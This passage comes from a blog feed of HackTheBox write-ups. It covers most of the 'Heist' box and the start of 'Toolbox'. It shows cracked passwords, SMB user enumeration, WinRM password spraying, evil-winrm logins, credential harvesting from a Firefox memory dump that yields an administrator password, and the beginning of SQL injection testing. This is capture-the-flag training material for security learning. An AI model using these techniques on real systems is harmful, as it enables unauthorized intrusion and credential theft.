punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">3563520</span>/14344385 <span class="token punctuation">(</span><span class="token number">24.84</span>%<span class="token punctuation">)</span>Rejected<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">0</span>/3563520 <span class="token punctuation">(</span><span class="token number">0.00</span>%<span class="token punctuation">)</span>Restore.Point<span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">3538944</span>/14344385 <span class="token punctuation">(</span><span class="token number">24.67</span>%<span class="token punctuation">)</span>Restore.Sub.<span class="token comment">#1...: Salt:0 Amplifier:0-1 Iteration:875-1000</span>Candidate.Engine.: Device GeneratorCandidates.<span class="token comment">#1....: stefy06 -> ssrssr1978</span>Hardware.Mon.<span class="token comment">#1..: Temp: 49c Util: 65% Core:1771MHz Mem:3504MHz Bus:8</span>Started: Sat Mar <span class="token number">22</span> <span class="token number">12</span>:30:29 <span class="token number">2025</span>Stopped: Sat Mar <span class="token number">22</span> <span class="token number">12</span>:30:45 <span class="token number">2025</span>                                                                     </code></pre><pre class="language-none"><code class="language-none">rout3r: 0242114B0E143F015F5D1E161713($uperP@ssword)admin: 02375012182C1A1D751618034F36415408(Q4)sJu\Y8qz*A3?d)hazard：$1$pdQG$o8nrSzsGXeaduXrjlvKc91(stealth1agent)</code></pre><h3 id="枚举用户"><a href="#枚举用户" class="headerlink" title="枚举用户"></a>枚举用户</h3><p>使用netexec 和凭证枚举用户</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ netexec smb heist.htb  <span class="token parameter variable">-u</span> <span class="token string">"hazard"</span> <span class="token parameter variable">-p</span> <span class="token string">"stealth1agent"</span> --rid-brute SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token punctuation">[</span>*<span class="token punctuation">]</span> Windows <span class="token number">10</span> / Server <span class="token number">2019</span> Build <span class="token number">17763</span> x64 <span class="token punctuation">(</span>name:SUPPORTDESK<span class="token punctuation">)</span> <span class="token punctuation">(</span>domain:SupportDesk<span class="token punctuation">)</span> <span class="token punctuation">(</span>signing:False<span class="token punctuation">)</span> <span class="token punctuation">(</span>SMBv1:False<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token punctuation">[</span>+<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>hazard:stealth1agent SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">500</span>: SUPPORTDESK<span class="token punctuation">\</span>Administrator <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">501</span>: SUPPORTDESK<span class="token punctuation">\</span>Guest <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">503</span>: SUPPORTDESK<span class="token punctuation">\</span>DefaultAccount <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">504</span>: SUPPORTDESK<span class="token punctuation">\</span>WDAGUtilityAccount <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">513</span>: SUPPORTDESK<span class="token punctuation">\</span>None <span class="token punctuation">(</span>SidTypeGroup<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">1008</span>: SUPPORTDESK<span class="token punctuation">\</span>Hazard <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">1009</span>: SUPPORTDESK<span class="token punctuation">\</span>support <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">1012</span>: SUPPORTDESK<span class="token punctuation">\</span>Chase <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span>SMB         <span class="token number">10.10</span>.10.149    <span class="token number">445</span>    SUPPORTDESK      <span class="token number">1013</span>: SUPPORTDESK<span class="token punctuation">\</span>Jason <span class="token punctuation">(</span>SidTypeUser<span class="token punctuation">)</span></code></pre><h3 id="winrm-爆破"><a href="#winrm-爆破" class="headerlink" title="winrm 爆破"></a>winrm 爆破</h3><p>目标开放了5985 将收集到的所有用户和口令对winrm 进行爆破</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ netexec winrm heist.htb  <span class="token parameter variable">-u</span> user.txt <span class="token parameter variable">-p</span> pass.txt --continue-on-success WINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>*<span class="token punctuation">]</span> Windows <span class="token number">10</span> / Server <span class="token number">2019</span> Build <span class="token number">17763</span> <span class="token punctuation">(</span>name:SUPPORTDESK<span class="token punctuation">)</span> <span class="token punctuation">(</span>domain:SupportDesk<span class="token punctuation">)</span>WINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>rout3r:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>admin:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>hazard:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Administrator:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Chase:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Jason:<span class="token variable">$uperP</span>@sswordWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>rout3r:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?dWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>admin:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?dWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>hazard:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?dWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Administrator:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?dWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>+<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Chase:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?d <span class="token punctuation">(</span>Pwn3d<span class="token operator">!</span><span class="token punctuation">)</span>WINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Jason:Q4<span class="token punctuation">)</span>sJu<span class="token punctuation">\</span>Y8qz*A3?dWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>rout3r:stealth1agentWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>admin:stealth1agentWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>hazard:stealth1agentWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Administrator:stealth1agentWINRM       <span class="token number">10.10</span>.10.149    <span class="token number">5985</span>   SUPPORTDESK      <span class="token punctuation">[</span>-<span class="token punctuation">]</span> SupportDesk<span class="token punctuation">\</span>Jason:stealth1agent                                                                                      </code></pre><p>使用evil-winrm 登录用户</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ evil-winrm <span class="token parameter variable">-i</span> <span class="token number">10.10</span>.10.149 <span class="token parameter variable">-u</span> Chase  <span class="token parameter variable">-p</span> <span class="token string">'Q4)sJu\Y8qz*A3?d'</span>                                        Evil-WinRM shell v3.7                                        Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' <span class="token keyword">for</span> module Reline                                        Data: For <span class="token function">more</span> information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm<span class="token comment">#Remote-path-completion</span>                                        Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token punctuation">\</span>Documents<span class="token operator">></span> <span class="token function">whoami</span>supportdesk<span class="token punctuation">\</span>chase*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token punctuation">\</span>Desktop<span class="token operator">></span> <span class="token function">dir</span>    Directory: C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token punctuation">\</span>DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----a----        <span class="token number">4</span>/22/2019   <span class="token number">9</span>:08 AM            <span class="token number">121</span> todo.txt-ar---        <span class="token number">3</span>/22/2025   <span class="token number">9</span>:08 AM             <span class="token number">34</span> user.txt</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>查看进程，发现firefox </p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">*Evil-WinRM* PS C:\Users\Chase&gt; psHandles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------    454      17     2264       5332               364   0 csrss    291      13     2288       5168               480   1 csrss    357      15     3480      14584              2468   1 ctfmon    252      14     3936      13428              3832   0 dllhost    166       9     1824       9748       0.02   6648   1 dllhost    615      32    30096      57836               980   1 dwm   1489      57    23924      78568              5088   1 explorer   1053      69   143248     219100       2.95   6300   1 firefox    347      19    10232      39812       0.03   6408   1 firefox    401      33    31456      90444       0.34   6560   1 firefox    378      28    22220      59020       0.16   6836   1 firefox    355      25    16376      38944       0.05   7116   1 firefox     49       6     1516       3872               788   0 fontdrvhost     49       6     1804       4648               796   1 fontdrvhost      0       0       56          8                 0   0 Idle    &lt;...&gt;    342      16     8352      18156              3972   0 WmiPrvSE   2264      28    89968     107400       0.70   3004   0 wsmprovhost</code></pre><p>上传procdump64.exe 和strings64.exe 对firefox 进行dump</p><pre class="language-bash" data-language="bash"><code class="language-bash">*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token operator">></span> .<span class="token punctuation">\</span>procdump64.exe <span class="token parameter variable">-accepteula</span> <span class="token parameter variable">-ma</span> <span class="token number">6408</span>ProcDump v11.0 - Sysinternals process dump utilityCopyright <span class="token punctuation">(</span>C<span class="token punctuation">)</span> <span class="token number">2009</span>-2022 Mark Russinovich and Andrew RichardsSysinternals - www.sysinternals.com<span class="token punctuation">[</span><span class="token number">11</span>:07:56<span class="token punctuation">]</span> Dump <span class="token number">1</span> initiated: C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token punctuation">\</span>firefox.exe_250322_110756.dmp<span class="token punctuation">[</span><span class="token number">11</span>:07:56<span class="token punctuation">]</span> Dump <span class="token number">1</span> writing: Estimated dump <span class="token function">file</span> size is <span class="token number">289</span> MB.<span class="token punctuation">[</span><span class="token number">11</span>:07:57<span class="token punctuation">]</span> Dump <span class="token number">1</span> complete: <span class="token number">289</span> MB written <span class="token keyword">in</span> <span class="token number">1.1</span> seconds<span class="token punctuation">[</span><span class="token number">11</span>:07:58<span class="token punctuation">]</span> Dump count reached.*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token operator">></span> .<span class="token punctuation">\</span>strings64.exe <span class="token parameter variable">-accepteula</span> firefox.exe_250322_110756.dmp <span class="token operator">></span> firefox.exe_250322_110756.txt *Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Chase<span class="token operator">></span> findstr <span class="token string">"password"</span> ./firefox.exe_250322_110756.txt<span class="token assign-left variable">MOZ_CRASHREPORTER_RESTART_ARG_1</span><span class="token operator">=</span>localhost/login.php?login_username<span class="token operator">=</span>admin@support.htb<span class="token operator">&amp;</span><span class="token assign-left variable">login_password</span><span class="token operator">=</span>4dD<span class="token operator">!</span><span class="token number">5</span><span class="token punctuation">&#125;</span>x/re8<span class="token punctuation">]</span>FBuZ<span class="token operator">&amp;</span><span class="token assign-left variable">login</span><span class="token operator">=</span>                  <span class="token assign-left variable">MOZ_CRASHREPORTER_RESTART_ARG_1</span><span class="token operator">=</span>localhost/login.php?login_username<span class="token operator">=</span>admin@support.htb<span class="token operator">&amp;</span><span class="token assign-left variable">login_password</span><span class="token operator">=</span>4dD<span class="token operator">!</span><span class="token number">5</span><span class="token punctuation">&#125;</span>x/re8<span class="token punctuation">]</span>FBuZ<span class="token operator">&amp;</span><span class="token assign-left variable">login</span><span class="token operator">=</span>                  <span class="token assign-left variable">RG_1</span><span class="token operator">=</span>localhost/login.php?login_username<span class="token operator">=</span>admin@support.htb<span class="token operator">&amp;</span><span class="token assign-left variable">login_password</span><span class="token operator">=</span>4dD<span class="token operator">!</span><span class="token number">5</span><span class="token punctuation">&#125;</span>x/re8<span class="token punctuation">]</span>FBuZ<span class="token operator">&amp;</span><span class="token assign-left variable">login</span><span class="token operator">=</span><span class="token assign-left variable">MOZ_CRASHREPORTER_RESTART_ARG_1</span><span class="token operator">=</span>localhost/login.php?login_username<span class="token operator">=</span>admin@support.htb<span class="token operator">&amp;</span><span class="token assign-left variable">login_password</span><span class="token operator">=</span>4dD<span class="token operator">!</span><span class="token number">5</span><span class="token punctuation">&#125;</span>x/re8<span class="token punctuation">]</span>FBuZ<span class="token operator">&amp;</span><span class="token assign-left variable">login</span><span class="token operator">=</span>browser.safebrowsing.passwords.enabled    <span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>使用获取到的密码登录目标，获取到管理员权限</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ evil-winrm <span class="token parameter variable">-i</span> heist.htb <span class="token parameter variable">-u</span> administrator  <span class="token parameter variable">-p</span> <span class="token string">'4dD!5&#125;x/re8]FBuZ'</span>                                          Evil-WinRM shell v3.7                                        Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' <span class="token keyword">for</span> module Reline                                        Data: For <span class="token function">more</span> information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm<span class="token comment">#Remote-path-completion</span>                                        Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Administrator<span class="token punctuation">\</span>Documents<span class="token operator">></span> <span class="token builtin class-name">cd</span> <span class="token punctuation">..</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>*Evil-WinRM* PS C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Administrator<span class="token punctuation">\</span>Desktop<span class="token operator">></span> <span class="token function">dir</span>    Directory: C:<span class="token punctuation">\</span>Users<span class="token punctuation">\</span>Administrator<span class="token punctuation">\</span>DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---        <span class="token number">3</span>/22/2025   <span class="token number">9</span>:08 AM             <span class="token number">34</span> root.txt</code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>Flag1</td><td>C:\Users\Chase\Desktop\user.txt</td></tr><tr><td>Flag2</td><td>C:\Users\Administrator\Desktop\root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.cpslxwpbrurp{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/4a8e4133/131dbaba68b169bd5ff59ac09420b09f.png&quot; class=&quot;cpslxwpbrurp&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="未授权访问" scheme="https://ry0ma24.github.io/tags/%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/"/>
    
    <category term="敏感信息泄漏" scheme="https://ry0ma24.github.io/tags/%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Toolbox</title>
    <link href="https://ry0ma24.github.io/posts/96a67a56.html"/>
    <id>https://ry0ma24.github.io/posts/96a67a56.html</id>
    <published>2025-03-21T15:36:00.000Z</published>
    <updated>2025-04-25T08:44:00.919Z</updated>
    
    <content type="html"><![CDATA[<style>.cqdgcwqinmrf{zoom:50%;}</style><img src="/posts/96a67a56/9d218e64149bfb00a002d94868f2e4b1.png" class="cqdgcwqinmrf"><span id="more"></span><table><thead><tr><th align="left">OS</th><th align="left">Difficulty</th></tr></thead><tbody><tr><td align="left">Windows</td><td align="left">Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.236 <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span> <span class="token parameter variable">-e</span>  tun0Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-03-21 <span class="token number">23</span>:36 CSTWarning: <span class="token number">10.10</span>.10.236 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.236Host is up <span class="token punctuation">(</span><span class="token number">0</span>.18s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65521</span> closed tcp ports <span class="token punctuation">(</span>reset<span class="token punctuation">)</span>PORT      STATE SERVICE       VERSION<span class="token number">21</span>/tcp    <span class="token function">open</span>  <span class="token function">ftp</span>           FileZilla ftpd <span class="token number">0.9</span>.60 beta<span class="token operator">|</span> ftp-anon: Anonymous FTP login allowed <span class="token punctuation">(</span>FTP code <span class="token number">230</span><span class="token punctuation">)</span><span class="token operator">|</span>_-r-xr-xr-x <span class="token number">1</span> <span class="token function">ftp</span> <span class="token function">ftp</span>      <span class="token number">242520560</span> Feb <span class="token number">18</span>  <span class="token number">2020</span> docker-toolbox.exe<span class="token operator">|</span> ftp-syst: <span class="token operator">|</span>_  SYST: UNIX emulated by FileZilla<span class="token number">22</span>/tcp    <span class="token function">open</span>  <span class="token function">ssh</span>           OpenSSH for_Windows_7.7 <span class="token punctuation">(</span>protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">2048</span> 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f <span class="token punctuation">(</span>RSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">256</span> a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">135</span>/tcp   <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">139</span>/tcp   <span class="token function">open</span>  netbios-ssn   Microsoft Windows netbios-ssn<span class="token number">443</span>/tcp   <span class="token function">open</span>  ssl/http      Apache httpd <span class="token number">2.4</span>.38 <span class="token variable"><span class="token punctuation">((</span>Debian<span class="token punctuation">))</span></span><span class="token operator">|</span>_http-server-header: Apache/2.4.38 <span class="token punctuation">(</span>Debian<span class="token punctuation">)</span><span class="token operator">|</span> tls-alpn: <span class="token operator">|</span>_  http/1.1<span class="token operator">|</span>_ssl-date: TLS randomness does not represent <span class="token function">time</span><span class="token operator">|</span>_http-title: MegaLogistics<span class="token operator">|</span> ssl-cert: Subject: <span class="token assign-left variable">commonName</span><span class="token operator">=</span>admin.megalogistic.com/organizationName<span class="token operator">=</span>MegaLogistic Ltd/stateOrProvinceName<span class="token operator">=</span>Some-State/countryName<span class="token operator">=</span>GR<span class="token operator">|</span> Not valid before: <span class="token number">2020</span>-02-18T17:45:56<span class="token operator">|</span>_Not valid after:  <span class="token number">2021</span>-02-17T17:45:56<span class="token number">445</span>/tcp   <span class="token function">open</span>  microsoft-ds?<span class="token number">5985</span>/tcp  <span class="token function">open</span>  http          Microsoft HTTPAPI httpd <span class="token number">2.0</span> <span class="token punctuation">(</span>SSDP/UPnP<span class="token punctuation">)</span><span class="token operator">|</span>_http-title: Not Found<span class="token operator">|</span>_http-server-header: Microsoft-HTTPAPI/2.0<span class="token number">47001</span>/tcp <span class="token function">open</span>  http          Microsoft HTTPAPI httpd <span class="token number">2.0</span> <span class="token punctuation">(</span>SSDP/UPnP<span class="token punctuation">)</span><span class="token operator">|</span>_http-server-header: Microsoft-HTTPAPI/2.0<span class="token operator">|</span>_http-title: Not Found<span class="token number">49664</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49665</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49666</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49667</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49668</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPC<span class="token number">49669</span>/tcp <span class="token function">open</span>  msrpc         Microsoft Windows RPCService Info: OS: Windows<span class="token punctuation">;</span> CPE: cpe:/o:microsoft:windowsHost script results:<span class="token operator">|</span> smb2-time: <span class="token operator">|</span>   date: <span class="token number">2025</span>-03-21T15:20:37<span class="token operator">|</span>_  start_date: N/A<span class="token operator">|</span>_clock-skew: <span class="token parameter variable">-18m24s</span><span class="token operator">|</span> smb2-security-mode: <span class="token operator">|</span>   <span class="token number">3</span>:1:1: <span class="token operator">|</span>_    Message signing enabled but not requiredService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">180.71</span> seconds                                                                                         </code></pre><p>在443端口发现<code>admin.megalogistic.com</code>，添加本地域名解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.10.236  admin.megalogistic.com'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts</code></pre><p>ftp 允许匿名登录，登录后可以发现 docker-toolbox.exe</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ftp</span> <span class="token number">10.10</span>.10.236 Connected to <span class="token number">10.10</span>.10.236.<span class="token number">220</span>-FileZilla Server <span class="token number">0.9</span>.60 beta<span class="token number">220</span>-written by Tim Kosse <span class="token punctuation">(</span>tim.kosse@filezilla-project.org<span class="token punctuation">)</span><span class="token number">220</span> Please visit https://filezilla-project.org/Name <span class="token punctuation">(</span><span class="token number">10.10</span>.10.236:kali<span class="token punctuation">)</span>: Anonymous<span class="token number">331</span> Password required <span class="token keyword">for</span> anonymousPassword: <span class="token number">230</span> Logged onRemote system <span class="token builtin class-name">type</span> is UNIX.Using binary mode to transfer files.ftp<span class="token operator">></span> <span class="token function">dir</span><span class="token number">229</span> Entering Extended Passive Mode <span class="token punctuation">(</span><span class="token operator">||</span><span class="token operator">|</span><span class="token number">55341</span><span class="token operator">|</span><span class="token punctuation">)</span><span class="token number">150</span> Opening data channel <span class="token keyword">for</span> directory listing of <span class="token string">"/"</span>-r-xr-xr-x <span class="token number">1</span> <span class="token function">ftp</span> <span class="token function">ftp</span>      <span class="token number">242520560</span> Feb <span class="token number">18</span>  <span class="token number">2020</span> docker-toolbox.exe<span class="token number">226</span> Successfully transferred <span class="token string">"/"</span>ftp<span class="token operator">></span> get docker-toolbox.exelocal: docker-toolbox.exe remote: docker-toolbox.exe<span class="token number">229</span> Entering Extended Passive Mode <span class="token punctuation">(</span><span class="token operator">||</span><span class="token operator">|</span><span class="token number">63234</span><span class="token operator">|</span><span class="token punctuation">)</span><span class="token number">150</span> Opening data channel <span class="token keyword">for</span> <span class="token function">file</span> download from server of <span class="token string">"/docker-toolbox.exe"</span><span class="token number">100</span>% <span class="token operator">|</span>*****************************************************<span class="token operator">|</span>   <span class="token number">231</span> MiB  <span class="token number">617.76</span> KiB/s    00:00 ETA<span class="token number">226</span> Successfully transferred <span class="token string">"/docker-toolbox.exe"</span><span class="token number">242520560</span> bytes received <span class="token keyword">in</span> 06:23 <span class="token punctuation">(</span><span class="token number">617.76</span> KiB/s<span class="token punctuation">)</span></code></pre><h3 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h3><p>访问<code>admin.megalogistic.com</code>，使用burp 抓取登录数据，使用sqlmap测试，存在sql注入</p><img src="/posts/96a67a56/image-20250322104959280.png" class="" title="登录"><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">admin.megalogistic.com</span></span><span class="token header"><span class="token header-name keyword">Cookie</span><span class="token punctuation">:</span> <span class="token header-value">PHPSESSID=21c7525f49e68a4f7653422a03ddecfe</span></span><span class="token header"><span class="token header-name keyword">Content-Length</span><span class="token punctuation">:</span> <span class="token header-value">35</span></span><span class="token header"><span class="token header-name keyword">Cache-Control</span><span class="token punctuation">:</span> <span class="token header-value">max-age=0</span></span><span class="token header"><span class="token header-name keyword">Sec-Ch-Ua</span><span class="token punctuation">:</span> <span class="token header-value">"Chromium";v="133", "Not(A:Brand";v="99"</span></span><span class="token header"><span class="token header-name keyword">Sec-Ch-Ua-Mobile</span><span class="token punctuation">:</span> <span class="token header-value">?0</span></span><span class="token header"><span class="token header-name keyword">Sec-Ch-Ua-Platform</span><span class="token punctuation">:</span> <span class="token header-value">"Linux"</span></span><span class="token header"><span class="token header-name keyword">Accept-Language</span><span class="token punctuation">:</span> <span class="token header-value">en-US,en;q=0.9</span></span><span class="token header"><span class="token header-name keyword">Origin</span><span class="token punctuation">:</span> <span class="token header-value">https://admin.megalogistic.com</span></span><span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">application/x-www-form-urlencoded</span></span><span class="token header"><span class="token header-name keyword">Upgrade-Insecure-Requests</span><span class="token punctuation">:</span> <span class="token header-value">1</span></span><span class="token header"><span class="token header-name keyword">User-Agent</span><span class="token punctuation">:</span> <span class="token header-value">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36</span></span><span class="token header"><span class="token header-name keyword">Accept</span><span class="token punctuation">:</span> <span class="token header-value">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></span><span class="token header"><span class="token header-name keyword">Sec-Fetch-Site</span><span class="token punctuation">:</span> <span class="token header-value">same-origin</span></span><span class="token header"><span class="token header-name keyword">Sec-Fetch-Mode</span><span class="token punctuation">:</span> <span class="token header-value">navigate</span></span><span class="token header"><span class="token header-name keyword">Sec-Fetch-User</span><span class="token punctuation">:</span> <span class="token header-value">?1</span></span><span class="token header"><span class="token header-name keyword">Sec-Fetch-Dest</span><span class="token punctuation">:</span> <span class="token header-value">document</span></span><span class="token header"><span class="token header-name keyword">Referer</span><span class="token punctuation">:</span> <span class="token 